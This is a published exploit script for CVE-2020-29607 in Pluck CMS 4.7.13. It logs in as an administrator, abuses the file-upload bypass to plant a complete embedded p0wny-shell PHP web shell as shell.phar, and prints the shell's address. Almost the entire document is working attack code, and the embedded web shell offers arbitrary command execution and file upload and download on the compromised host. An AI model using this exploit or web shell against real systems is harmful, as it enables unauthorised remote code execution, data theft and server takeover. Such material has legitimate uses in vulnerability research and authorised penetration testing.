Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated)

# Exploit Title: Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated)
# Date: 25.05.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://github.com/pluck-cms/pluck
# Software Link: https://github.com/pluck-cms/pluck/releases/tag/4.7.13
# Version: 4.7.13
# Tested on Xubuntu 20.04
# CVE: CVE-2020-29607

'''
Description:
A file upload restriction bypass vulnerability in Pluck CMS before 4.7.13 allows an admin
privileged user to gain access in the host through the "manage files" functionality,
which may result in remote code execution.
'''


'''
Import required modules:
'''
import sys
import requests
import json
import time
import urllib.parse


'''
User Input:
'''
target_ip = sys.argv[1]
target_port = sys.argv[2]
password = sys.argv[3]
pluckcmspath = sys.argv[4]


'''
Get cookie
'''
session = requests.Session()
link = 'http://' + target_ip + ':' + target_port + pluckcmspath
response = session.get(link)
cookies_session = session.cookies.get_dict()
cookie = json.dumps(cookies_session)
cookie = cookie.replace('"}','')
cookie = cookie.replace('{"', '')
cookie = cookie.replace('"', '')
cookie = cookie.replace(" ", '')
cookie = cookie.replace(":", '=')


'''
Authentication:
'''
# Compute Content-Length:
base_content_len = 27
password_encoded = urllib.parse.quote(password, safe='')
password_encoded_len = len(password_encoded.encode('utf-8'))
content_len = base_content_len + password_encoded_len

# Construct Header:
header = {
    'Host': target_ip,
    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length': str(content_len),
    'Origin': 'http://' + target_ip,
    'Connection': 'close',
    'Referer': 'http://' + target_ip + pluckcmspath + '/login.php',
    'Cookie': cookie,
    'Upgrade-Insecure-Requests': '1'
}

# Construct Data:
body = {
    'cont1': password,
    'bogus': '',
    'submit': 'Log in',
}

# Authenticating:
link_auth = 'http://' + target_ip + ':' + target_port + pluckcmspath + '/login.php'
auth = requests.post(link_auth, headers=header, data=body)
print('')
if 'error' in auth.text:
    print('Password incorrect, please try again:')
    exit()
else:
    print('Authentification was succesfull, uploading webshell')
    print('')


'''
Upload Webshell:
'''
# Construct Header:
header = {
    'Host': target_ip,
    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'multipart/form-data; boundary=---------------------------5170699732428994785525662060',
    'Connection': 'close',
    'Referer': 'http://' + target_ip + ':' + target_port + pluckcmspath + '/admin.php?action=files',
    'Cookie': cookie,
    'Upgrade-Insecure-Requests': '1'
}

# Constructing Webshell payload: I'm using p0wny-shell: https://github.com/flozz/p0wny-shell
data = "-----------------------------5170699732428994785525662060\r\nContent-Disposition: form-data; name=\"filefile\"; filename=\"shell.phar\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n    $stdout = array();\n\n    if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n        // pass\n    } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n        chdir($cwd);\n        preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n        chdir($match[1]);\n    } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n        chdir($cwd);\n        preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n        return featureDownload($match[1]);\n    } else {\n        chdir($cwd);\n        exec($cmd, $stdout);\n    }\n\n    return array(\n        \"stdout\" => $stdout,\n        \"cwd\" => getcwd()\n    );\n}\n\nfunction featurePwd() {\n    return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n    chdir($cwd);\n    if ($type == 'cmd') {\n        $cmd = \"compgen -c $fileName\";\n    } else {\n        $cmd = \"compgen -f $fileName\";\n    }\n    $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n    $files = explode(\"\\n\", shell_exec($cmd));\n    return array(\n        'files' => $files,\n    );\n}\n\nfunction featureDownload($filePath) {\n    $file = @file_get_contents($filePath);\n    if ($file === FALSE) {\n        return array(\n            'stdout' => array('File not found / no read permission.'),\n            'cwd' => getcwd()\n        );\n    } else {\n        return array(\n            'name' => basename($filePath),\n            'file' => base64_encode($file)\n        );\n    }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n    chdir($cwd);\n    $f = @fopen($path, 'wb');\n    if ($f === FALSE) {\n        return array(\n            'stdout' => array('Invalid path / no write permission.'),\n            'cwd' => getcwd()\n        );\n    } else {\n        fwrite($f, base64_decode($file));\n        fclose($f);\n        return array(\n            'stdout' => array('Done.'),\n            'cwd' => getcwd()\n        );\n    }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n    $response = NULL;\n\n    switch ($_GET[\"feature\"]) {\n        case \"shell\":\n            $cmd = $_POST['cmd'];\n            if (!preg_match('/2>/', $cmd)) {\n                $cmd .= ' 2>&1';\n            }\n            $response = featureShell($cmd, $_POST[\"cwd\"]);\n            break;\n        case \"pwd\":\n            $response = featurePwd();\n            break;\n        case \"hint\":\n            $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n            break;\n        case 'upload':\n            $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n    }\n\n    header(\"Content-Type: application/json\");\n    echo json_encode($response);\n    die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n    <head>\n        <meta charset=\"UTF-8\" />\n        <title>p0wny@shell:~#</title>\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n        <style>\n            html, body {\n                margin: 0;\n                padding: 0;\n                background: #333;\n                color: #eee;\n                font-family: monospace;\n            }\n\n            *::-webkit-scrollbar-track {\n                border-radius: 8px;\n                background-color: #353535;\n            }\n\n            *::-webkit-scrollbar {\n                width: 8px;\n                height: 8px;\n            }\n\n            *::-webkit-scrollbar-thumb {\n                border-radius: 8px;\n                -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\n                background-color: #bcbcbc;\n            }\n\n            #shell {\n                background: #222;\n                max-width: 800px;\n                margin: 50px auto 0 auto;\n                box-shadow: 0 0 5px rgba(0, 0, 0, .3);\n                font-size: 10pt;\n                display: flex;\n                flex-direction: column;\n                align-items: stretch;\n            }\n\n            #shell-content {\n                height: 500px;\n                overflow: auto;\n                padding: 5px;\n                white-space: pre-wrap;\n                flex-grow: 1;\n            }\n\n            #shell-logo {\n                font-weight: bold;\n                color: #FF4180;\n                text-align: center;\n            }\n\n            @media (max-width: 991px) {\n                #shell-logo {\n                    font-size: 6px;\n                    margin: -25px 0;\n                }\n\n                html, body, #shell {\n                    height: 100%;\n                    width: 100%;\n                    max-width: none;\n                }\n\n                #shell {\n                    margin-top: 0;\n                }\n            }\n\n            @media (max-width: 767px) {\n                #shell-input {\n                    flex-direction: column;\n                }\n            }\n\n            @media (max-width: 320px) {\n                #shell-logo {\n                    font-size: 5px;\n                }\n            }\n\n            .shell-prompt {\n                font-weight: bold;\n                color: #75DF0B;\n            }\n\n            .shell-prompt > span {\n                color: #1BC9E7;\n            }\n\n            #shell-input {\n                display: flex;\n                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\n                border-top: rgba(255, 255, 255, .05) solid 1px;\n            }\n\n            #shell-input > label {\n                flex-grow: 0;\n                display: block;\n                padding: 0 5px;\n                height: 30px;\n                line-height: 30px;\n            }\n\n            #shell-input #shell-cmd {\n                height: 30px;\n                line-height: 30px;\n                border: none;\n                background: transparent;\n                color: #eee;\n                font-family: monospace;\n                font-size: 10pt;\n                width: 100%;\n                align-self: center;\n            }\n\n            #shell-input div {\n                flex-grow: 1;\n                align-items: stretch;\n            }\n\n            #shell-input input {\n                outline: none;\n            }\n        </style>\n\n        <script>\n            var CWD = null;\n            var commandHistory = [];\n            var historyPosition = 0;\n            var eShellCmdInput = null;\n            var eShellContent = null;\n\n            function _insertCommand(command) {\n                eShellContent.innerHTML += \"\\n\\n\";\n                eShellContent.innerHTML += '<span class=\\\"shell-prompt\\\">' + genPrompt(CWD) + '</span> ';\n                eShellContent.innerHTML += escapeHtml(command);\n                eShellContent.innerHTML += \"\\n\";\n                eShellContent.scrollTop = eShellContent.scrollHeight;\n            }\n\n            function _insertStdout(stdout) {\n                eShellContent.innerHTML += escapeHtml(stdout);\n                eShellContent.scrollTop = eShellContent.scrollHeight;\n            }\n\n            function _defer(callback) {\n                setTimeout(callback, 0);\n            }\n\n            function featureShell(command) {\n\n                _insertCommand(command);\n                if (/^\\s*upload\\s+[^\\s]+\\s*$/.test(command)) {\n                    featureUpload(command.match(/^\\s*upload\\s+([^\\s]+)\\s*$/)[1]);\n                } else if (/^\\s*clear\\s*$/.test(command)) {\n                    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\n                    eShellContent.innerHTML = '';\n                } else {\n                    makeRequest(\"?feature=shell\", {cmd: command, cwd: CWD}, function (response) {\n                        if (response.hasOwnProperty('file')) {\n                            featureDownload(response.name, response.file)\n                        } else {\n                            _insertStdout(response.stdout.join(\"\\n\"));\n                            updateCwd(response.cwd);\n                        }\n                    });\n                }\n            }\n\n            function featureHint() {\n                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete\n\n                function _requestCallback(data) {\n                    if (data.files.length <= 1) return;  // no completion\n\n                    if (data.files.length === 2) {\n                        if (type === 'cmd') {\n                            eShellCmdInput.value = data.files[0];\n                        } else {\n                            var currentValue = eShellCmdInput.value;\n                            eShellCmdInput.value = currentValue.replace(/([^\\s]*)$/, data.files[0]);\n                        }\n                    } else {\n                        _insertCommand(eShellCmdInput.value);\n                        _insertStdout(data.files.join(\"\\n\"));\n                    }\n                }\n\n                var currentCmd = eShellCmdInput.value.split(\" \");\n                var type = (currentCmd.length === 1) ? \"cmd\" : \"file\";\n                var fileName = (type === \"cmd\") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\n\n                makeRequest(\n                    \"?feature=hint\",\n                    {\n                        filename: fileName,\n                        cwd: CWD,\n                        type: type\n                    },\n                    _requestCallback\n                );\n\n            }\n\n            function featureDownload(name, file) {\n                var element = document.createElement('a');\n                element.setAttribute('href', 'data:application/octet-stream;base64,' + file);\n                element.setAttribute('download', name);\n                element.style.display = 'none';\n                document.body.appendChild(element);\n                element.click();\n                document.body.removeChild(element);\n                _insertStdout('Done.');\n            }\n\n            function featureUpload(path) {\n                var element = document.createElement('input');\n                element.setAttribute('type', 'file');\n                element.style.display = 'none';\n                document.body.appendChild(element);\n                element.addEventListener('change', function () {\n                    var promise = getBase64(element.files[0]);\n                    promise.then(function (file) {\n                        makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\n                            _insertStdout(response.stdout.join(\"\\n\"));\n                            updateCwd(response.cwd);\n                        });\n                    }, function () {\n                        _insertStdout('An unknown client-side error occurred.');\n                    });\n                });\n                element.click();\n                document.body.removeChild(element);\n            }\n\n            function getBase64(file, onLoadCallback) {\n                return new Promise(function(resolve, reject) {\n                    var reader = new FileReader();\n                    reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\n                    reader.onerror = reject;\n                    reader.readAsDataURL(file);\n                });\n            }\n\n            function genPrompt(cwd) {\n                cwd = cwd || \"~\";\n                var shortCwd = cwd;\n                if (cwd.split(\"/\").length > 3) {\n                    var splittedCwd = cwd.split(\"/\");\n                    shortCwd = \"\xe2\x80\xa6/\" + splittedCwd[splittedCwd.length-2] + \"/\" + splittedCwd[splittedCwd.length-1];\n                }\n                return \"p0wny@shell:<span title=\\\"\" + cwd + \"\\\">\" + shortCwd + \"</span>#\";\n            }\n\n            function updateCwd(cwd) {\n                if (cwd) {\n                    CWD = cwd;\n                    _updatePrompt();\n                    return;\n                }\n                makeRequest(\"?feature=pwd\", {}, function(response) {\n                    CWD = response.cwd;\n                    _updatePrompt();\n                });\n\n            }\n\n            function escapeHtml(string) {\n                return string\n                    .replace(/&/g, \"&\")\n                    .replace(/</g, \"<\")\n                    .replace(/>/g, \">\");\n            }\n\n            function _updatePrompt() {\n                var eShellPrompt = document.getElementById(\"shell-prompt\");\n                eShellPrompt.innerHTML = genPrompt(CWD);\n            }\n\n            function _onShellCmdKeyDown(event) {\n                switch (event.key) {\n                    case \"Enter\":\n                        featureShell(eShellCmdInput.value);\n                        insertToHistory(eShellCmdInput.value);\n                        eShellCmdInput.value = \"\";\n                        break;\n                    case \"ArrowUp\":\n                        if (historyPosition > 0) {\n                            historyPosition--;\n                            eShellCmdInput.blur();\n                            eShellCmdInput.value = commandHistory[historyPosition];\n                            _defer(function() {\n                                eShellCmdInput.focus();\n                            });\n                        }\n                        break;\n                    case \"ArrowDown\":\n                        if (historyPosition >= commandHistory.length) {\n                            break;\n                        }\n                        historyPosition++;\n                        if (historyPosition === commandHistory.length) {\n                            eShellCmdInput.value = \"\";\n                        } else {\n                            eShellCmdInput.blur();\n                            eShellCmdInput.focus();\n                            eShellCmdInput.value = commandHistory[historyPosition];\n                        }\n                        break;\n                    case 'Tab':\n                        event.preventDefault();\n                        featureHint();\n                        break;\n                }\n            }\n\n            function insertToHistory(cmd) {\n                commandHistory.push(cmd);\n                historyPosition = commandHistory.length;\n            }\n\n            function makeRequest(url, params, callback) {\n                function getQueryString() {\n                    var a = [];\n                    for (var key in params) {\n                        if (params.hasOwnProperty(key)) {\n                            a.push(encodeURIComponent(key) + \"=\" + encodeURIComponent(params[key]));\n                        }\n                    }\n                    return a.join(\"&\");\n                }\n                var xhr = new XMLHttpRequest();\n                xhr.open(\"POST\", url, true);\n                xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\n                xhr.onreadystatechange = function() {\n                    if (xhr.readyState === 4 && xhr.status === 200) {\n                        try {\n                            var responseJson = JSON.parse(xhr.responseText);\n                            callback(responseJson);\n                        } catch (error) {\n                            alert(\"Error while parsing response: \" + error);\n                        }\n                    }\n                };\n                xhr.send(getQueryString());\n            }\n\n            document.onclick = function(event) {\n                event = event || window.event;\n                var selection = window.getSelection();\n                var target = event.target || event.srcElement;\n\n                if (target.tagName === \"SELECT\") {\n                    return;\n                }\n\n                if (!selection.toString()) {\n                    eShellCmdInput.focus();\n                }\n            };\n\n            window.onload = function() {\n                eShellCmdInput = document.getElementById(\"shell-cmd\");\n                eShellContent = document.getElementById(\"shell-content\");\n                updateCwd();\n                eShellCmdInput.focus();\n            };\n        </script>\n    </head>\n\n    <body>\n        <div id=\"shell\">\n            <pre id=\"shell-content\">\n                <div id=\"shell-logo\">\n        ___                         ____      _          _ _        _  _   <span></span>\n _ __  / _ \\__      ___ __  _   _  / __ \\ ___| |__   ___| | |_ /\\/|| || |_ <span></span>\n| '_ \\| | | \\ \\ /\\ / / '_ \\| | | |/ / _` / __| '_ \\ / _ \\ | (_)/\\/_  ..  _|<span></span>\n| |_) | |_| |\\ V  V /| | | | |_| | | (_| \\__ \\ | | |  __/ | |_   |_      _|<span></span>\n| .__/ \\___/  \\_/\\_/ |_| |_|\\__, |\\ \\__,_|___/_| |_|\\___|_|_(_)    |_||_|  <span></span>\n|_|                         |___/  \\____/                                  <span></span>\n                </div>\n            </pre>\n            <div id=\"shell-input\">\n                <label for=\"shell-cmd\" id=\"shell-prompt\" class=\"shell-prompt\">???</label>\n                <div>\n                    <input id=\"shell-cmd\" name=\"cmd\" onkeydown=\"_onShellCmdKeyDown(event)\"/>\n                </div>\n            </div>\n        </div>\n    </body>\n\n</html>\n\r\n-----------------------------5170699732428994785525662060\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nUpload\r\n-----------------------------5170699732428994785525662060--\r\n"

# Uploading Webshell:
link_upload = 'http://' + target_ip + ':' + target_port + pluckcmspath + '/admin.php?action=files'
upload = requests.post(link_upload, headers=header, data=data)


'''
Finish:
'''
print('Uploaded Webshell to: http://' + target_ip + ':' + target_port + pluckcmspath + '/files/shell.phar')
print('')